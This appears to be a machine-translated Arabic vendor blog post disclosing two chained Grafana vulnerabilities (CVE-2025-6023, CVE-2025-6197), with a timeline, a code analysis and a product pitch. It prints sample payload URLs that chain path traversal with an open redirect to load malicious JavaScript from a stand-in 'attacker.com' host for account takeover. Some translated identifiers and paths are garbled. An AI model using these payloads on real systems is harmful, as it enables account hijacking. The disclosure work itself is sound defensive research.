Grafana هي منصة رائدة مفتوحة المصدر لتصور البيانات والتحليلات والمراقبة، مما يسمح للمستخدمين بإنشاء لوحات معلومات تفاعلية من خلال تجميع البيانات من مصادر متعددة. مع وجود أكثر من 68,000 نجمة على GitHub وملايين التنزيلات عبر Docker Hub والمستودعات الأخرى، أصبحت Grafana مكونًا أساسيًا في حزم المراقبة الحديثة في مختلف الصناعات.
إن اعتماده على نطاق واسع ودوره الحاسم في مراقبة البنية التحتية يجعل من Grafana هدفًا رئيسيًا للجهات الفاعلة في مجال التهديدات. إن تأمينها ضروري لحماية سلامة بيئات المراقبة وتوافرها عبر المؤسسات.
في OPSWAT نساهم بنشاط في مجتمع الأمن من خلال البحث عن الثغرات الأمنية والكشف عنها بشكل مسؤول في المنصات المستخدمة على نطاق واسع مثل Grafana. في عام 2021، CVE-2021-39226، تم اكتشاف ثغرة أمنية خطيرة في عام 2021، وتم الكشف عنها بشكل مسؤول من قبل TheBlackTurtle، وهو عضو في الوحدة 515 التابعة لـ OPSWAT .
وبالإضافة إلى هذه المساهمات، يعمل OPSWAT الأمن السيبراني للأمن السيبراني على تمكين الجيل القادم من المواهب في مجال الأمن السيبراني من خلال مبادرات التدريب العملي. أحد هذه البرامج هو برنامج زمالةOPSWAT لأمن البنية التحتية السيبرانية الحرجة في مجال الأمن السيبراني للخريجين، والذي يوفر للطلاب خبرة عملية في تحديد وتحليل التهديدات الأمنية في العالم الحقيقي. وكجزء من هذا البرنامج، اكتشف أحد زملائنا ثغرة أمنية خطيرة جديدة في غرافانا CVE-2025-6023 خلال مشروع بحثي مستقل
برنامج زمالة OPSWAT واكتشاف الثغرات الأمنية الحرجة
يقدم برنامج زمالة OPSWAT لأمن البنية التحتية الحرجة في مجال الأمن السيبراني للخريجين في فيتنام، وهو برنامج زمالة في مجال الأمن السيبراني للبنية التحتية الحرجة يقدم لطلاب الدراسات العليا خبرة عملية في تأمين البنية التحتية الحرجة. يتعاون الزملاء بفعالية مع خبراء الأمن السيبراني في OPSWAT لمعالجة تحديات العالم الحقيقي في مجالات الكشف عن البرمجيات الخبيثة وأمن الملفات والوقاية من التهديدات.
وكجزء من هذا البرنامج الصارم، يبحث المشاركون بشكل منهجي عن الثغرات المعروفة (CVEs) في مجموعة متنوعة من منتجات البرمجيات والمكتبات وأنظمة التشغيل ويعيدون إنتاجها وتحليلها تحت إشراف خبراء في OPSWAT . وقد اختار هوا إكس نغوين، أحد زملائنا المتميزين، برنامج Grafana ليكون محور مشروعه البحثي الأساسي.
في يونيو 2025، خلال مراجعة متعمقة لـ CVE-2025-4123 وتحليل أعمق لشفرة مصدر Grafana، حدد Hoa X. Nguyen ثغرة لم تكن معروفة من قبل داخل المنصة. تضمنت المشكلة تسلسل ثغرة إعادة توجيه مفتوحة مع ثغرة في اجتياز المسار من جانب العميل (CSPT)، مما أدى في النهاية إلى برمجة نصية عبر المواقع (XSS) والاستيلاء الكامل على الحساب عبر نقطة نهاية مختلفة في Grafana.
أثناء تعاوننا الوثيق مع الوحدة 515، اكتشفنا ليس فقط سلسلة واحدة بل سلسلتين منفصلتين من الثغرات التي يمكن أن يؤدي كل منهما إلى اختراق كامل للحساب.
وواصلت OPSWAT مساهمتها الفعالة من خلال الإبلاغ عن الثغرات بشكل مسؤول إلى Grafana. تم الاعتراف بالمشكلات على الفور، وتم إصدار التصحيحات في الإصدارات اللاحقة. تم تعيين هاتين الثغرتين لاحقًا CVE-2025-6023 و CVE-2025-6197، ومنذ ذلك الحين تم إدراجها علنًا في قاعدة البيانات الوطنية للثغرات الأمنية (NVD).
الجدول الزمني ل CVE-2025-6023 و CVE-2025-6197
- 11 يونيو 2025: حددHoa X. Nguyen ثغرة أمنية في أحدث إصدار من Grafana وأرسل تقريرًا أمنيًا إلى Grafana.
- 11 يونيو 2025: بعد المناقشة، أكدت شركة Grafana الثغرة الأمنية وعيّنت الثغرة CVE-2025-6023 بدرجة خطورة عالية.
- 17 يونيو 2025: عملدات فونغ من الوحدة 515 عن كثب مع هوا إكس نغوين واكتشف سلسلة هجمات أخرى تستغل الثغرة.
- 17 يونيو 2025: أكدت شركة Grafana الثغرة الثانية وخصصت لها CVE-2025-6197 بخطورة متوسطة.
- 17 يوليو 2025 أصدرت Grafana الإصدار 12.0.2+security-01 و11.6.3+security-01 و11.5.6+security-01 و11.4.6+security-01 و11.3.8+security-01، حيث قدمت تصحيحًا محسّنًا يعالج هذه الثغرات بفعالية.
- 18 يوليو 2025: كشفت قاعدة بيانات الثغرات الوطنية (NVD) رسميًا عن CVE-2025-6023 و CVE-2025-6197.
التحليل الفني للرقعة غير المكتملة و CVE-2025-6023
في مايو 2025، كشف ألفارو بالادا عن الثغرة الأمنية CVE-2025-4123، وهي ثغرة عالية الخطورة في Grafana. جمع الخلل بين اجتياز المسار من جانب العميل مع إعادة توجيه مفتوحة، مما سمح للمهاجمين بتقديم مكونات إضافية خبيثة للواجهة الأمامية تنفذ JavaScript عشوائية داخل سياق Grafana الموثوق به - مما أدى إلى الاستيلاء الكامل على الحساب. في الحالات التي تم فيها تمكين الوصول المجهول، لم تكن المصادقة مطلوبة. بالإضافة إلى ذلك، إذا تم تثبيت المكوّن الإضافي Grafana Image Renderer، يمكن أن يؤدي الاستغلال إلى تصعيد الاستغلال إلى SSRF، مما يؤدي إلى كشف الخدمات الداخلية أو البيانات الوصفية السحابية.
عالجت Grafana المشكلة بتحديثات أمنية في مايو 2025، حيث قدمت تصحيحات في الإصدارين 12.0.0+الأمان01 و11.6.1+الأمان01، وغيرها من الإصدارات عبر الفروع 10.x-11.x. تضمنت الإصلاحات تحسينات سياسة أمان المحتوى (CSP) وتحسينات أكثر صرامة في إعادة التوجيه.
كجزء من برنامج زمالة الدراسات العليا في مجال الأمن السيبراني للبنية التحتية الحرجة OPSWAT الإلكتروني، أجرى هوا إكس نغوين تحليلاً شاملاً لثغرة CVE-2025-4123. وشمل بحثه الهندسة العكسية لتدفق الاستغلال وتقييم فعالية التصحيح المقدم. خلال هذا التحقيق، لاحظ هوا أنه على الرغم من أن الثغرة الأمنية هي في الأساس مزيج من إعادة التوجيه المفتوحة واجتياز المسار من جانب العميل، إلا أن تصحيح CVE-2025-4123 عالج فقط إعادة التوجيه المفتوحة في المعالج الثابت، من خلال فحص تعقيم البيانات الذي تم تقديمه في الالتزام {ff20b06}.
ومع ذلك، فإن هذا التخفيف الجزئي ترك ناقل الهجوم الأساسي دون معالجة. وظل الخطر الأساسي قائماً: إذا تمكن المهاجم من تحديد نقطة نهاية بديلة معرضة لعمليات إعادة التوجيه المفتوحة، يمكن أن تظل سلسلة الاستغلال نفسها موجودة ويمكن استخدامها لتنفيذ استيلاء كامل على الحساب - حتى بعد التصحيح. مع وضع هذه الفرضية في الاعتبار، أجرى هوا مراجعة أعمق لقاعدة كود غرافانا. ومن خلال هذا الجهد، نجح في تحديد نقطة نهاية أخرى ضعيفة: /user/Auth-tokens/rotate.
تم تصميم نقطة النهاية هذه لتجديد رموز المصادقة منتهية الصلاحية. تُستخدم معلمة الاستعلام "إعادة توجيه إلى" لتوجيه المستخدم إلى الصفحة الوجهة بعد تجديد الرمز المميز بنجاح.
في إطار التنفيذ النموذجي، يتم إنشاء عنوان URL لإعادة التوجيه عن طريق ربط قيمة تكوين Cfg.AppSubSURL مع معلمة إعادة التوجيه إلى التي يوفرها المستخدم. ومع ذلك، في التكوين الافتراضي لـ Grafana، يكون AppSubURL غير معرّف. ونتيجةً لذلك، يعتمد التطبيق فقط على القيمة الأولية لـ redirectTo عند تكوين مسار إعادة التوجيه.
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
بالنسبة لآلية إعادة التوجيه هذه، يحاول Grafana تقليل المخاطر الأمنية المرتبطة بالمدخلات التي يوفرها المستخدم من خلال دالة تحقق تسمى ValidateRedirectTo، والتي تهدف إلى حظر أهداف إعادة التوجيه غير الآمنة - مثل تلك التي تبدأ ب //example.com - عن طريق عدم السماح بوجود خط مائل مزدوج في بداية المسار:
ومع ذلك، كما هو موضح في بحث ألفارو بالادا الأصلي، يمكن تجاوز هذه الوظيفة باستخدام شرطة مائلة للأمام متبوعة بشرطة مائلة للخلف (على سبيل المثال، / \example.com)، والتي تفسرها المتصفحات الحديثة بشكل مشابه لـ //example.com. نتيجةً لذلك، يمكن استخدام الحمولة التالية لتحقيق إعادة توجيه مفتوحة، بافتراض أن المستخدم مصادق عليه:
/user/auth-tokens/rotate?redirectTo=/\\example.com
توضح هذه النتيجة التي توصل إليها Hoa X. Nguyen - إلى جانب المعالجة غير المكتملة لـ CVE-2025-4123 - أن الاستيلاء الكامل على حساب Grafana لا يزال ممكنًا.
عند اكتشاف هذا التجاوز، أبلغت OPSWAT فريق تطوير Grafana بالمشكلة على الفور. رداً على ذلك، كانت Grafana قد حددت بالفعل أن التخفيف السابق غير مكتمل من خلال المناقشات الداخلية وخططت لمعالجة المشكلة في إصدار قادم قبل تقريرنا. ونتيجةً لذلك، تم قبول تقريرنا مع تخصيص مكافحة التطرف العنيف الجديدة لثغرة إعادة التوجيه المفتوحة التي تم الكشف عنها، والمصنفة بدرجة خطورة متوسطة.
CVE-2025-6023: سلسلة ثغرات جديدة تتيح الاستيلاء الكامل على الحسابات
سلّط CVE-2025-4123 الضوء في الأصل على ثغرة في اجتياز المسار من جانب العميل (CSPT) داخل تطبيق المكون الإضافي للواجهة الأمامية في Grafana. في تقريره الأولي، جمع Hoa X. Nguyen بين مشكلة CSPT المعروفة هذه مع ثغرة إعادة التوجيه المفتوحة المكتشفة حديثًا لصياغة سلسلة استغلال فعالة. على الرغم من التأثير الخطير الذي تم إظهاره، فقد تم تعيين الثغرة الأمنية متوسطة الخطورة فقط، حيث أقرت Grafana داخليًا بالفعل بالطبيعة غير المكتملة للتصحيح قبل الكشف عن CSPT.
وقد دفع هذا الأمر إلى إجراء تحقيق أعمق فيما إذا كانت هناك ثغرات إضافية في CSPT داخل قاعدة رموز Grafana والتي - عند دمجها مع ثغرة إعادة التوجيه المفتوحة المكتشفة حديثًا - يمكن أن تتيح سلسلة استغلال مستقلة تمامًا. إذا تم العثور على ثغرة CSPT هذه في نقطة نهاية مختلفة، فقد يبرر ذلك تعيين نفس مستوى الخطورة العالية مثل CVE-2025-4123.
اكتشاف Endpoint جديدة معرضة للخطر
بدافع من هذه الفرضية، أجرى هوا مراجعة متعمقة لشفرة مصدر Grafana. وخلال هذا التحليل، حدد نقطة نهاية إضافية ضعيفة سمحت باسترجاع ديناميكي للبرامج النصية وتنفيذها من مصادر عشوائية - دون التحقق من صحة المدخلات أو التعقيم المناسب. ويرتبط هذا السلوك غير الآمن بوظيفة البرمجة النصية للوحة المعلومات في Grafana، والتي تتم إدارتها على وجه التحديد من خلال المسار التالي
/لوحة معلومات/:النوع/:سبيكة
تتم معالجة هذا المسار من قبل البرامج الوسيطة المسؤولة عن التعامل مع البرمجة النصية للوحة المعلومات. على وجه التحديد، يتم استخدام المعلمة :slug لتحميل البرامج النصية وتنفيذها ديناميكيًا - دون تعقيم مناسب - مما يسمح للمهاجمين بصياغة عناوين URL خبيثة وربما إعادة إنشاء سلسلة استغلال مشابهة لتلك الموجودة في CVE-2025-4123.
تحليل آلية البرمجة النصية للوحة القيادة
تستخدم آلية البرمجة النصية للوحة المعلومات في غرافانا مكون DashboardPageProxy لمعالجة الطلبات المطابقة للمسار /dashboard/:type/:slug:
داخل DashboardPagePageProxy، يستمر تدفق التنفيذ على النحو التالي:
يتم اشتقاق النتيجة التي يُرجعها DashboardPageProxy من تنفيذ أسلوب stateManager.fetchDashboard() ، الذي يقبل معلمات uid والنوع والسبيكة المستخرجة من مسار عنوان URL. من أجل تحليل كيفية إنشاء هذه الاستجابة، قام Hoa X.Nguyen بفحص كائن stateManager والمنطق داخل أسلوب fetchDashboard() الخاص به. يتم إنشاء كائن stateManager من خلال الدالة getDashboardScenePenePageStateManager() ، والتي تم تعريفها في الملف التالي:
/public/app/features/dashboard-scene-scene/pages/DashboardScenePagePageStateManager.ts
نظرًا لأنّه تتم تهيئة مدير الحالة من خلال استدعاء الدالة getDashboardScenePageStateStateManager() دون أي وسيطات، كما هو موضّح في الشكل 2، يمكن استنتاج أنّ الكائن المُعاد هو مثيل لفئة UnifiedDashboardScenePageStateManager.
لذلك، ولفهم سلوك أسلوب fetchDashboard()، شرع في تحليل تنفيذه داخل فئة UnifiedDashboardScenePageStateManager:
داخل صنف UnifiedDashboardSceneScenePageStateManager، يستدعي أسلوب fetchDashboard() أولاً الدالة withVersionHandling(). هذه الدالة مسؤولة عن تحديد مثيل activeManager وإرجاعه. بمجرد أن يتم إنشاء ActiveManager، فإنها تستدعي أسلوب fetchDashboard() المقابل على ذلك المثيل، مع تمرير معلمة الخيارات ذات الصلة.
مثيل ActiveManager هو إما كائن DashboardScenePenePageStateManager أو كائن DashboardScenePageStateManagerV2. كلتا الفئتين تنفذان منطقًا مشابهًا لجلب بيانات لوحة المعلومات. الشيفرة التالية مأخوذة من صنف DashboardScenePenePageStateManager:
داخل أسلوب fetchDashboard() الخاص بفئة DashboardScenePageStateStateManager، تُستخدم عبارة تبديل لتحديد منطق المعالجة المناسب بناءً على نوع المسار. في الحالة الافتراضية، يستدعي الأسلوب
dashboardLoaderSrv.loadDashboard.loadDashboard(type, slug, uid, uid, query)
يبدأ هذا الاستدعاء عملية تحميل لوحة المعلومات المطلوبة. يمكن العثور على التنفيذ المرجعي لدالة loadDashboard() في الملف التالي:
/العامة/التطبيق العام/الميزات/لوحة المعلومات/الخدمات/لوحة المعلومات/لوحة التحميل
ضمن دالة loadDashboard()، يتم إجراء العديد من عمليات التحقق الشرطية لتحديد تدفق المعالجة المناسب. في الحالة المحددة التي يتم فيها تعيين النوع إلى "نص برمجي" ووجود سبيكة، تستدعي الدالة
هذا.loadScriptedDashboard(slug)
هنا، يتم تمرير السبيكة - التي تنشأ مباشرةً من مدخلات المستخدم - كمعامل إلى أسلوب LoadScriptedDashboard(). لتقييم تدفق التنفيذ والثغرات المحتملة التي أدخلها هذا الاستدعاء، شرع Hoa في تحليل تنفيذ أسلوب LoadScriptedDashboard() ضمن فئة DashboardLoaderSrvBase:
في طريقة تحميل سكريبتيد داشبورد()، يتم التعامل مع معلمة السبيكة - الموضحة في الشكل 2 - كاسم ملف (سلسلة) وتستخدم لإنشاء متغير url المتغير. ومع ذلك، لا يتم تعقيم هذه المعلمة بشكل صحيح. يطبّق التطبيق تعبيرًا عاديًا لاستبدال جميع الأحرف النقطية (.) باستثناء تلك التي تليها مباشرةً"js" بشرطة مائلة إلى الأمام (/). تفشل هذه التصفية الجزئية في تعقيم المدخلات بشكل صحيح، مما يجعلها عرضة لهجمات التلاعب بالمسار وهجمات العبور.
بمجرد إنشاء عنوان URL، يحاول البرنامج النصي تحميل لوحة المعلومات المحددة عن طريق استدعاء getBackendSrv().get(url). ثم يتم تنفيذ البرنامج النصي المسترجع باستخدام هذا.executeScript(code).
قاد هذا التحليل في نهاية المطاف Hoa X. Nguyen إلى تحديد ثغرة أمنية جديدة في أحدث إصدار من Grafana، وهي ثغرة في اجتياز المسار من جانب العميل (CSPT). ونظرًا لعدم وجود تعقيم المدخلات أو التحقق من صحتها، يمكن للمهاجمين التلاعب في السبيكة لصياغة عنوان URL يقوم بتحميل وتنفيذ برنامج نصي خبيث من مصدر خارجي - تكرار المشكلة الأساسية التي تم تحديدها سابقًا في CVE-2025-4123 عبر تحميل البرامج النصية للوحة المعلومات.
عند دمجها مع ثغرة إعادة التوجيه المفتوحة المكتشفة حديثًا، تتيح هذه المشكلة سلسلة استغلال كاملة قادرة على تحقيق الاستيلاء الكامل على الحساب. فيما يلي عينة من الحمولة التي توضح هذا الاستغلال:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
على سبيل المثال:
/dashboard/script/...%2f...%2f...%2f...%2f...%2fuser%2fauth-tokens%2frotate%2frotate%3fredirecto%3d%2f%2f%2f%5cattacker.com%2fath%2fto%2fmalicious.js
يمكن صياغة ملف .js الخبيث لتغيير عنوان البريد الإلكتروني واسم المستخدم الخاص بالضحية إلى تلك التي يتحكم فيها المهاجم. وهذا من شأنه أن يسمح للمهاجم ببدء عملية إعادة تعيين كلمة المرور إلى عنوان البريد الإلكتروني الخاص به، مما يؤدي في النهاية إلى الاستيلاء الكامل على الحساب:
إثبات المفهوم ل CVE-2025-6023
يعرض هذا الفيديو التأثير العملي لـ CVE-2025-6023، ويوضح سيناريو استيلاء كامل على حساب يؤثر على مستخدمي Grafana، اكتشفه هوا إكس:
التخفيف والتوجيه
للتخفيف من الثغرات التي ناقشناها أعلاه، يرجى التأكد من تحديث نظامك إلى أحدث إصدار من Grafana.
يستطيع MetaDefender Core باستخدام محرك SBOM اكتشاف هذه الثغرة الأمنية
يُمكِّن OPSWAT MetaDefender Core المجهز بقدرات SBOMSoftware فاتورة الموادSoftware ) المتقدمة، المؤسسات من اتباع نهج استباقي في معالجة المخاطر الأمنية. ومن خلال فحص تطبيقات البرمجيات وتوابعها، يحدد MetaDefender Core الثغرات الأمنية المعروفة، مثل CVE-2025-6023 و CVE-2025-6197، ضمن المكونات المدرجة. وهذا يمكّن فرق التطوير والأمان من تحديد أولويات جهود التصحيح، مما يخفف من المخاطر الأمنية المحتملة قبل أن تستغلها الجهات الخبيثة.
فيما يلي لقطة شاشة لصورتي CVE-2025-6023 و CVE-2025-6197، اللتين اكتشفهما MetaDefender Core باستخدام SBOM:
بالإضافة إلى ذلك، يمكن أيضًا اكتشاف CVEs عن طريق MetaDefender Software Supply Chainالتي تستفيد من MetaDefender Core مع SBOM لتحديد هذه الثغرات الأمنية.
